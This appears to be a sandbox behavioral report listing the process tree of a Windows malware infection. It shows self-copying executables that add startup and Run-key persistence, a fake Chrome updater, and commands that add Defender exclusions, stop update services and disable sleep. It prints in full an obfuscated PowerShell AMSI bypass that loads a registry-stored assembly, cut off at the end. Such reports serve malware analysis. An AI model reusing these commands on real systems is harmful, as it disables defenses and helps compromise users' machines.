C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 4452 -ip 4452
1⤵
PID:5960

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 688 -p 1976 -ip 1976
1⤵
PID:5932

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 1304 -ip 1304
1⤵
PID:6004

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 740 -p 5032 -ip 5032
1⤵
PID:2208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 780 -p 5928 -ip 5928
1⤵
PID:5680

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 968 -ip 968
1⤵
PID:3404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 788 -p 5484 -ip 5484
1⤵
PID:5812

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 828 -p 4936 -ip 4936
1⤵
PID:2596

C:\Users\Admin\AppData\Roaming\Google\Chrome.exe
C:\Users\Admin\AppData\Roaming\Google\Chrome.exe
1⤵
PID:5036

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 768 -p 3116 -ip 3116
1⤵
PID:2052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 844 -p 2932 -ip 2932
1⤵
PID:1044

C:\Users\Admin\AppData\Local\Temp\hJI8LdTnvv.exe
"C:\Users\Admin\AppData\Local\Temp\hJI8LdTnvv.exe" ..
1⤵
- System Location Discovery: System Language Discovery
PID:4696

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 788 -p 228 -ip 228
1⤵
PID:5036

C:\Users\Admin\AppData\Roaming\Google.exe
C:\Users\Admin\AppData\Roaming\Google.exe
1⤵
PID:4612

C:\Users\Admin\AppData\Local\Temp\Server.exe
C:\Users\Admin\AppData\Local\Temp/Server.exe
1⤵
- System Location Discovery: System Language Discovery
PID:1776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 824 -p 1592 -ip 1592
1⤵
PID:5148

C:\Users\Admin\AppData\Local\Temp\bidVtlVwiMfILcd7\cTV7tfa91qPB.exe
C:\Users\Admin\AppData\Local\Temp\bidVtlVwiMfILcd7\cTV7tfa91qPB.exe
1⤵
PID:5316
- C:\Users\Admin\AppData\Local\Temp\tczRbEY3RWzEr0d+\sdvCMLskdPNm.exe
  C:\Users\Admin\AppData\Local\Temp\tczRbEY3RWzEr0d+\sdvCMLskdPNm.exe 5316
  2⤵
  - Drops startup file
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  PID:5320

C:\Users\Admin\AppData\Local\Temp\tczRbEY3RWzEr0d+\sdvCMLskdPNm.exe
C:\Users\Admin\AppData\Local\Temp\tczRbEY3RWzEr0d+\sdvCMLskdPNm.exe
1⤵
PID:5552
- C:\Users\Admin\AppData\Local\Temp\YI44yvyFdC+1ijrp\+ubORYNrilYb.exe
  C:\Users\Admin\AppData\Local\Temp\YI44yvyFdC+1ijrp\+ubORYNrilYb.exe 5552
  2⤵
  - Drops startup file
  - Adds Run key to start application
  PID:6020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 716 -p 588 -ip 588
1⤵
PID:2964

C:\Users\Admin\AppData\Local\Temp\YI44yvyFdC+1ijrp\+ubORYNrilYb.exe
C:\Users\Admin\AppData\Local\Temp\YI44yvyFdC+1ijrp\+ubORYNrilYb.exe
1⤵
- System Location Discovery: System Language Discovery
PID:3548
- C:\Users\Admin\AppData\Local\Temp\x88rUZL8KJHhfX1U\lTw+fYlRJFmE.exe
  C:\Users\Admin\AppData\Local\Temp\x88rUZL8KJHhfX1U\lTw+fYlRJFmE.exe 3548
  2⤵
  - Drops startup file
  - Adds Run key to start application
  PID:2400

C:\Users\Admin\AppData\Local\Temp\x88rUZL8KJHhfX1U\lTw+fYlRJFmE.exe
C:\Users\Admin\AppData\Local\Temp\x88rUZL8KJHhfX1U\lTw+fYlRJFmE.exe
1⤵
- Drops file in System32 directory
PID:4492
- C:\Windows\SysWOW64\krrMdbwCVzFu.exe
  krrMdbwCVzFu.exe 4492
  2⤵
  PID:4844
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 612
    3⤵
    - Program crash
    PID:2684
- C:\Users\Admin\AppData\Local\Temp\x88rUZL8KJHhfX1U\MxN2nsQfv3fX.exe
  C:\Users\Admin\AppData\Local\Temp\x88rUZL8KJHhfX1U\MxN2nsQfv3fX.exe 4492
  2⤵
  - Drops startup file
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  PID:5784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 732 -p 4844 -ip 4844
1⤵
PID:2584

C:\Users\Admin\AppData\Local\Temp\x88rUZL8KJHhfX1U\MxN2nsQfv3fX.exe
C:\Users\Admin\AppData\Local\Temp\x88rUZL8KJHhfX1U\MxN2nsQfv3fX.exe
1⤵
- System Location Discovery: System Language Discovery
PID:3700
- C:\Users\Admin\AppData\Local\Temp\ePGM3vZARkVc1ZuR\iBqgwj7iaqju.exe
  C:\Users\Admin\AppData\Local\Temp\ePGM3vZARkVc1ZuR\iBqgwj7iaqju.exe 3700
  2⤵
  - Drops startup file
  - Adds Run key to start application
  PID:4796

C:\Users\Admin\AppData\Local\Temp\ePGM3vZARkVc1ZuR\iBqgwj7iaqju.exe
C:\Users\Admin\AppData\Local\Temp\ePGM3vZARkVc1ZuR\iBqgwj7iaqju.exe
1⤵
- System Location Discovery: System Language Discovery
PID:2388
- C:\Users\Admin\AppData\Local\Temp\bX+A2i+HKXn7Q+3y\tG+oSg7Qppmj.exe
  C:\Users\Admin\AppData\Local\Temp\bX+A2i+HKXn7Q+3y\tG+oSg7Qppmj.exe 2388
  2⤵
  - Drops startup file
  - Adds Run key to start application
  PID:3084

C:\Users\Admin\AppData\Local\Temp\bX+A2i+HKXn7Q+3y\tG+oSg7Qppmj.exe
C:\Users\Admin\AppData\Local\Temp\bX+A2i+HKXn7Q+3y\tG+oSg7Qppmj.exe
1⤵
- System Location Discovery: System Language Discovery
PID:3624
- C:\Users\Admin\AppData\Local\Temp\5G6JREwdrkpTjBQe\rxBCDvBE5Z4U.exe
  C:\Users\Admin\AppData\Local\Temp\5G6JREwdrkpTjBQe\rxBCDvBE5Z4U.exe 3624
  2⤵
  - Drops startup file
  - Adds Run key to start application
  PID:5300

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 808 -p 4696 -ip 4696
1⤵
PID:4992

C:\Users\Admin\AppData\Local\Temp\5G6JREwdrkpTjBQe\rxBCDvBE5Z4U.exe
C:\Users\Admin\AppData\Local\Temp\5G6JREwdrkpTjBQe\rxBCDvBE5Z4U.exe
1⤵
PID:708
- C:\Users\Admin\AppData\Local\Temp\mUF3TarI6HQzk2Rc\TlKaD7kSTxXM.exe
  C:\Users\Admin\AppData\Local\Temp\mUF3TarI6HQzk2Rc\TlKaD7kSTxXM.exe 708
  2⤵
  - Drops startup file
  - Adds Run key to start application
  PID:5272

C:\Users\Admin\AppData\Local\Temp\mUF3TarI6HQzk2Rc\TlKaD7kSTxXM.exe
C:\Users\Admin\AppData\Local\Temp\mUF3TarI6HQzk2Rc\TlKaD7kSTxXM.exe
1⤵
PID:2584
- C:\Users\Admin\AppData\Local\Temp\wkzc8NwMrgroUzr\XiMgWxSWiNgW.exe
  C:\Users\Admin\AppData\Local\Temp\wkzc8NwMrgroUzr/\XiMgWxSWiNgW.exe 2584
  2⤵
  - Drops startup file
  - Adds Run key to start application
  PID:4640

C:\Users\Admin\AppData\Local\Temp\wkzc8NwMrgroUzr\XiMgWxSWiNgW.exe
C:\Users\Admin\AppData\Local\Temp\wkzc8NwMrgroUzr\XiMgWxSWiNgW.exe
1⤵
- System Location Discovery: System Language Discovery
PID:5844
- C:\Users\Admin\AppData\Local\Temp\dMiBE6G1tXQ+geg\ULSNar4+XOhN.exe
  C:\Users\Admin\AppData\Local\Temp\/dMiBE6G1tXQ+geg\ULSNar4+XOhN.exe 5844
  2⤵
  - Drops startup file
  - Adds Run key to start application
  PID:1508

C:\Users\Admin\AppData\Local\Temp\dMiBE6G1tXQ+geg\ULSNar4+XOhN.exe
C:\Users\Admin\AppData\Local\Temp\dMiBE6G1tXQ+geg\ULSNar4+XOhN.exe
1⤵
PID:1704
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 584
  2⤵
  - Program crash
  PID:5468

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 716 -p 1704 -ip 1704
1⤵
PID:3200

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 828 -p 2616 -ip 2616
1⤵
PID:2304

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 760 -p 5956 -ip 5956
1⤵
PID:4332

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 756 -p 5656 -ip 5656
1⤵
PID:6100

C:\Windows\svchosthelper.exe
C:\Windows\svchosthelper.exe
1⤵
PID:2904

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6416

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 720 -p 7072 -ip 7072
1⤵
PID:7140

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:6856

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 724 -p 3448 -ip 3448
1⤵
PID:6256

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:7016

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 692 -p 5116 -ip 5116
1⤵
PID:7884

C:\Users\Admin\AppData\Local\Temp\Server.exe
C:\Users\Admin\AppData\Local\Temp/Server.exe
1⤵
PID:6252

C:\Users\Admin\AppData\Roaming\Google.exe
C:\Users\Admin\AppData\Roaming\Google.exe
1⤵
PID:6628

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 6300 -ip 6300
1⤵
PID:6476

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 7348 -ip 7348
1⤵
PID:7544

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 7796 -ip 7796
1⤵
PID:7848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 3732 -ip 3732
1⤵
PID:6148

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 7632 -ip 7632
1⤵
PID:7740

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 6764 -ip 6764
1⤵
PID:6488

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 6176 -ip 6176
1⤵
PID:6352

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:7780

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 6584 -ip 6584
1⤵
PID:1860

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6340

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ljaXllbtYzir{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$CISWhTanmCtArd,[Parameter(Position=1)][Type]$hlIJkqnXCO)$cBGuKncEOeV=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+'f'+'l'+[Char](101)+''+[Char](99)+''+[Char](116)+'ed'+[Char](68)+'e'+[Char](108)+'e'+'g'+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'Me'+[Char](109)+''+[Char](111)+''+'r'+'y'+'M'+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+'l'+'e'+[Char](103)+''+[Char](97)+'t'+[Char](101)+''+[Char](84)+'y'+'p'+''+'e'+'',''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+','+''+[Char](83)+''+[Char](101)+''+'a'+''+[Char](108)+''+'e'+'d,'+[Char](65)+'nsi'+'C'+''+[Char](108)+''+[Char](97)+''+'s'+''+'s'+''+[Char](44)+''+[Char](65)+''+'u'+''+'t'+''+[Char](111)+''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$cBGuKncEOeV.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+'pe'+'c'+''+[Char](105)+''+[Char](97)+''+'l'+'N'+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+'i'+'d'+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+'P'+[Char](117)+'bl'+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$CISWhTanmCtArd).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+'a'+'n'+[Char](97)+'g'+'e'+''+[Char](100)+'');$cBGuKncEOeV.DefineMethod(''+[Char](73)+'nvo'+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+'H'+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+'ig'+[Char](44)+''+[Char](78)+'ew'+'S'+''+'l'+'ot'+','+''+[Char](86)+''+'i'+''+[Char](114)+''+'t'+''+'u'+'a'+[Char](108)+'',$hlIJkqnXCO,$CISWhTanmCtArd).SetImplementationFlags('R'+[Char](117)+'n'+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $cBGuKncEOeV.CreateType();}$EzZvxmfGWwYBw=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+'f'+''+[Char](116)+'.'+'W'+''+'i'+''+'n'+'3'+[Char](50)+''+'.'+''+[Char](85)+''+[Char](110)+''+[Char](115)+'afe'+'N'+'a'+[Char](116)+''+'i'+''+[Char](118)+''+[Char](101)+''+'M'+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$UovfXwrrECdEEM=$EzZvxmfGWwYBw.GetMethod(''+'G'+'et'+'P'+''+'r'+''+'o'+''+'c'+''+'A'+''+[Char](100)+''+[Char](100)+''+[Char](114)+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+'P'+'u'+[Char](98)+'l'+[Char](105)+'c'+[Char](44)+'S'+'t'+''+'a'+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$NiUvjKTlpXcKxFfDdht=ljaXllbtYzir @([String])([IntPtr]);$MORrbjZXfxbjapCtBgrjsq=ljaXllbtYzir @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$DLdjAscZkwp=$EzZvxmfGWwYBw.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](77)+''+'o'+''+'d'+'ul'+[Char](101)+'H'+[Char](97)+'n'+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+'d'+'l'+''+[Char](108)+'')));$zuNUHMHYKPUEDW=$UovfXwrrECdEEM.Invoke($Null,@([Object]$DLdjAscZkwp,[Object](''+[Char](76)+'o'+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$SddCDZKunLSRpHKGb=$UovfXwrrECdEEM.Invoke($Null,@([Object]$DLdjAscZkwp,[Object](''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+'u'+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$KttObTJ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zuNUHMHYKPUEDW,$NiUvjKTlpXcKxFfDdht).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$AlmYLQsbgjwAhyYGM=$UovfXwrrECdEEM.Invoke($Null,@([Object]$KttObTJ,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+''+'e'+''+'r'+'')));$BTlAvEZlSC=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SddCDZKunLSRpHKGb,$MORrbjZXfxbjapCtBgrjsq).Invoke($AlmYLQsbgjwAhyYGM,[uint32]8,4,[ref]$BTlAvEZlSC);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AlmYLQsbgjwAhyYGM,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SddCDZKunLSRpHKGb,$MORrbjZXfxbjapCtBgrjsq).Invoke($AlmYLQsbgjwAhyYGM,[uint32]8,0x20,[ref]$BTlAvEZlSC);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'FTWA'+[Char](82)+''+[Char](69)+'').GetValue(''+'d'+''+'i'+''+'a'+''+[Char](108)+''+[Char](101)+'r'+[Char](115)+'t'+[Char](97)+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
PID:6928

C:\ProgramData\Google\Chrome\updater.exe
C:\ProgramData\Google\Chrome\updater.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
PID:1896
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:6248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:7540
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:7760
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:4680
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:6816
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:7064
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:5888
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:5732
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:7988
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:1648
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:6460
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:6220
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:7996
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:8128
- C:\Windows\system32\dialer.exe
  dialer.exe
  2⤵
  PID:2220

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 4080 -ip 4080
1⤵
PID:7588

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:XXdHvsZAFfhz{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uOdVKfXvHUqdpp,[Parameter(Position=1)][Type]$DrKBRjvTqL)$ckGNrjKthTO=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+''+'c'+'t'+'e'+''+[Char](100)+'D'+'e'+''+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+[Char](77)+'e'+[Char](109)+'o'+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+''+'u'+''+[Char](108)+''+'e'+'',$False).DefineType(''+'M'+''+'y'+''+[Char](68)+''+[Char](101)+'le'+'g'+'a'+'t'+'e'+[Char](84)+''+[Char](121)+''+'p'+'e',''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+'s,P'+'u'+''+[Char](98)+'l'+'i'+''+[Char](99)+''+','+''+[Char](83)+'e'+'a'+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+','+''+'A'+'n'+[Char](115)+''+'i'+''+'C'+'la'+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+'s',[MulticastDelegate]);$ckGNrjKthTO.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+'p'+''+'e'+'c'+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+'m'+[Char](101)+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+'S'+'i'+''+'g'+''+','+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+'ic',[Reflection.CallingConventions]::Standard,$uOdVKfXvHUqdpp).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+','+'M'+''+'a'+''+'n'+'a'+'g'+''+[Char](101)+''+'d'+'');$ckGNrjKthTO.DefineMethod('I'+'n'+''+[Char](118)+'oke','P'+'u'+''+[Char](98)+'lic,'+'H'+''+'i'+''+'d'+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+',Ne'+[Char](119)+''+'S'+''+'l'+''+[Char](111)+''+'t'+''+','+''+[Char](86)+''+'i'+''+'r'+'t'+'u'+''+[Char](97)+'l',$DrKBRjvTqL,$uOdVKfXvHUqdpp).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+',Ma'+[Char](110)+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');Write-Output $ckGNrjKthTO.CreateType();}$FVHWKoRWXJxPb=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+'e'+''+[Char](109)+'.'+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+''+[Char](105)+'c'+[Char](114)+''+[Char](111)+''+[Char](115)+''+'o'+''+[Char](102)+'t'+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+'Na'+[Char](116)+''+[Char](105)+''+'v'+''+'e'+''+[Char](77)+''+[Char](101)+''+'t'+'h'+[Char](111)+''+[Char](100)+''+[Char](115)+'');$KXSpOjgxziwBeA=$FVHWKoRWXJxPb.GetMethod('G'+[Char](101)+''+'t'+''+[Char](80)+''+[Char](114)+'oc'+'A'+''+[Char](100)+''+'d'+''+[Char](114)+'ess',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+'b'+'l'+[Char](105)+'c'+[Char](44)+''+[Char](83)+'t'+[Char](97)+'tic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$CWTtnBjYkqngvAdAbro=XXdHvsZAFfhz @([String])([IntPtr]);$CFKSQtrbpqlkjBNhrAnbyQ=XXdHvsZAFfhz @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$JxXRdZqtSzj=$FVHWKoRWXJxPb.GetMethod('Ge'+'t'+''+[Char](77)+''+[Char](111)+''+'d'+''+'u'+'leH'+[Char](97)+''+'n'+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+'n'+'e'+'l'+''+[Char](51)+'2'+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$uZwlNsNaCUBqqw=$KXSpOjgxziwBeA.Invoke($Null,@([Object]$JxXRdZqtSzj,[Object]('L'+[Char](111)+''+[Char](97)+'d'+[Char](76)+''+[Char](105)+'bra'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$pzoMdLOWgFnVuGtlQ=$KXSpOjgxziwBeA.Invoke($Null,@([Object]$JxXRdZqtSzj,[Object](''+[Char](86)+'i'+[Char](114)+''+'t'+''+'u'+''+[Char](97)+'l'+'P'+''+[Char](114)+''+[Char](111)+'t'+[Char](101)+''+[Char](99)+'t')));$LdQJhaM=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uZwlNsNaCUBqqw,$CWTtnBjYkqngvAdAbro).Invoke(''+'a'+'ms'+[Char](105)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'');$DRyZevrqMfMsFhlGn=$KXSpOjgxziwBeA.Invoke($Null,@([Object]$LdQJhaM,[Object](''+'A'+''+[Char](109)+'s'+[Char](105)+''+[Char](83)+'c'+'a'+''+'n'+'B'+'u'+'f'+[Char](102)+''+'e'+'r')));$oiVVOzcgoO=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pzoMdLOWgFnVuGtlQ,$CFKSQtrbpqlkjBNhrAnbyQ).Invoke($DRyZevrqMfMsFhlGn,[uint32]8,4,[ref]$oiVVOzcgoO);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$DRyZevrqMfMsFhlGn,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pz